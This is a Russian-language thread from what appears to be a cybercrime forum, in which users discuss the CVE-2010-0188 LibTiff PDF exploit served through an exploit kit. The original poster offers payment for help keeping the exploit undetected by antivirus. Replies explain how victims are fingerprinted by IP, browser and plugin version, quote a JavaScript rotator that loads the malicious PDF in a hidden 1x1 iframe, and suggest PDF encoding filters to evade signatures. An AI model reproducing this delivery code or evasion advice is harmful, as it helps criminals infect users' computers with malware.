• XSS.stack #1 – первый литературный журнал от юзеров форума

Принцип работы PDF LibTiff (CVE-2010-0188)

xml

HDD-drive
Пользователь
Регистрация
11.04.2012
Сообщения
33
Реакции
5
Доброго времени суток уважаемые.
Я тут новичёк да и кодинг не моя стихия, но в силу обстоятельств приходится заниматься этим.
Вопрос следующего плана, поясните плиз принцип работы сабжа.
Мне это нужно для составления грамотного ТЗ.
Вот как я понимаю принцип его работы, поправьте:
На связке есть пхп файл, к примеру pdf.php-браузер на него попадает, файл запускает на юзере JS для вызова плагина пдф, распаковщик в pdf.php распаковывает сплоит (который в этом же файле) и пихает его в браузер, ну и далее..
Так я понимаю или нет?
Вытекающие вопросы: можно ли обойтись без распаковщика?
АВ, насколько мне известно, умеют работать тока с js, так?
JS хорошо закодирован и вся чистка приходится тока на распаковщик, посему хочу понять, можно ли к примеру сделать так, что б на каждое обращение к pdf.php, генерился уникальный js вызов и сразу отдача сплоита в чистом виде.
Как то так получилось высказать свои мысли.
Вобщем прошу помощи в этом вопросе, а так же если есть время, в практической реализации замысла за соответствующее вознаграждение.

PM or icq 6О2-8-942-52
 
Парни, умерьте свое высокомерие, черканите пару строк, мой интерес состоит в автоматической чистке этого сплоита.
Нет желания/времени не нужны лишние сотни - понимаю, взываю к оставшимся.
 
Нужна пара строк, тогда пожалуйста:
1) Основной принцип любого сплоита, если он заряжен на нормальной связке.
Юзер заходит на инфицированную страницу (не важно какую), на которой либо висит iframe, либо уже висит js, либо еще что-то - скрипт выдачи от связки.
Этот скрипт, если успевает, то получает какую-то информацию о юзере - его ip, юзерагент, список плагинов в браузере.
На основе этой информации принимается решение о том, какой сплоит выдать.
Например если мы видим, что ip-адрес не бота, юзерагент ie и в списке плагинов есть достаточно древний плагин для отображения pdf, то скрипт решает выдать именно pdf.
Получается, что браузеру юзера подсунули наш инфекцированный pdf.
2) Действия внутри браузера.
pdf внутри браузера будет обрабатывать тот самый древний плагин.
Лень гуглить про конкретно данную уязвимость, но скорее всего она работает так: внутри pdf лежит специальный javascript, который при загрузке динамически создает "неправильную" картинку. LibTiff пытаясь отобразить эту картинку переполняет буфер, и запускает шелл-код.
Если все написано аккуратно, то никаких падений, ошибок юзер не увидит, просто от имени плагина в системе будет исполняться вредоносный код.
 
На связке есть пхп файл, к примеру pdf.php-браузер на него попадает, файл запускает на юзере JS для вызова плагина пдф, распаковщик в pdf.php распаковывает сплоит (который в этом же файле) и пихает его в браузер, ну и далее..
Обычно есть .php файл (скажем index.php), который отдает обфусцированный/шифрованный/покрытый пакером/"голый" javascript, если снять всё это получишь ротатор (пример куска с бх)
Код:
 function show_pdf(src)
 {
   var pifr=document.createElement('IFRAME');
   pifr.setAttribute('width',1);
   pifr.setAttribute('height',1);
   pifr.setAttribute('src',src);
   document.body.appendChild(pifr)
 }
 function spl3()
 {
   if(pdfver[0]>0&&pdfver[0]<8)
   {
     exec7=0;
     show_pdf('./data/ap1.php?f=7245d')
   }
   else if((pdfver[0]==8)||(pdfver[0]==9&&pdfver[1]<=3))
   {
     exec7=0;
     show_pdf('./data/ap2.php')
   }
   spl4()
 }
В данном случае в ap2.php содержится сам либтиф, откуда и отдается в чистом виде..Также пдф может генерится "на лету", что впринципе немного продлевает время жизни чистого либтиффа, но итог всё-равно в основном 1 - сига на какой-то участок pdf, ну и сам метод крипта js(который в либтифе)также может спалится.
 
Действия внутри браузера.
pdf внутри браузера будет обрабатывать тот самый древний плагин.
Лень гуглить про конкретно данную уязвимость, но скорее всего она работает так: внутри pdf лежит специальный javascript, который при загрузке динамически создает "неправильную" картинку. LibTiff пытаясь отобразить эту картинку переполняет буфер, и запускает шелл-код.
Вот примерно такое я и хотел услышать, узнать верны ли мои предположения.
Основные принципы и т.п. я знаю, меня интересовал конкретный.
 
Обычно есть .php файл (скажем index.php), который отдает обфусцированный/шифрованный/покрытый пакером/"голый" javascript, если снять всё это получишь ротатор (пример куска с бх)
про index.php/ротар это я знаю, в коде вижу. я намеренно этот пункт пропустил, перейдя сразу к моменту когда юзеру выдайтся пхп с пдф сплоитом.
В этом файле я вижу обфусцированный распаковщик и сплоит.
Сплоит я так понимаю выдётся ява скриптом, который по уверениям кодера "закриптован хитрым алгоритмом", поэтому чистится тока распаковщик. чистка заключается в смене имён переменных и вставке мусора между ними.
Такой метод палится на раз-два и опять всё сначала.
Поэтому и возникли у меня вопросы о принципах работы, что бы сделать что-то, что б продляло чистую жизнь сплоита.

Если б кто-то смог реализовать это на практике-маякните плиз.
 
Вот примерно такое я и хотел услышать, узнать верны ли мои предположения.
Основные принципы и т.п. я знаю, меня интересовал конкретный.
Ну это ответили о принципе работы самого сплоента, я же говорил о принципах выдачи и о том, что палят аверы, кстати сам метод крипта палится не на раз-два :) обычно аверы ставят сиги на xml который содержит tiff. Согласно спецификации Adobe Reader поддерживает следующие фильтры - FlateDecode, LZWDecode, ASCII85Decode, ASCIIHexDecode, DCTDecode, CCITTFaxDecode, JPXDecode, JBIG2Decode, некоторые давно реализовали, а с некоторыми аверам сложновато, думаю есть смысл смотреть в сторону реализации 1 из них, чтобы дольше хранить чистоту файла..
 
Я тут новичёк да и кодинг не моя стихия, но в силу обстоятельств приходится заниматься этим.
звучит классно, в силу обстоятельств стоит найти нормальную белую работу по профессии.

На связке есть пхп файл, к примеру pdf.php-браузер на него попадает, файл запускает на юзере JS для вызова плагина пдф, распаковщик в pdf.php распаковывает сплоит (который в этом же файле) и пихает его в браузер, ну и далее..
Так я понимаю или нет?
набор слов.


Сплоит я так понимаю выдётся ява скриптом, который по уверениям кодера "закриптован хитрым алгоритмом", поэтому чистится тока распаковщик. чистка заключается в смене имён переменных и вставке мусора между ними.
могу сказать, что чистка пдф занятие намного интереснее, чем вы думаете. смена имен переменных и мусора это тру конечно, но есть такие вещи как эвристический анализ, эмуляция..

Если б кто-то смог реализовать это на практике-маякните плиз.
наврятли те кто может заинтересуется, если бюджет не внушительный


А насчет фильтров, баян, можно вообще их не юзать)
 
А насчет фильтров, баян, можно вообще их не юзать)
Да, но можно с их помощью уменьшить вес пдф-ки, да и если реализовать, скажем DCTDecode, то и гемора с чистками будет меньше.
 
наврятли те кто может заинтересуется, если бюджет не внушительный
ну про бюджет ни слова не было сказано, кто может и у кого свободное время есть сами постучат и в личке договоримся.

з.ы. а про внушительность не стоит демагогию разводить, хоть тут и флейм.

звучит классно, в силу обстоятельств стоит найти нормальную белую работу по профессии.
возможно она у вас есть и я рад за вас. у меня свое и я не жалуюсь. а обстоятельства трактуются по разному.
 
Ну это ответили о принципе работы самого сплоента, я же говорил о принципах выдачи и о том, что палят аверы
Этого мне уже достаточно, спасибо. Теперь я смогу обьяснить кодеру чего я хочу.
Но есть надежда и на местный контингент.
Адекватным людям я всегда рад.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх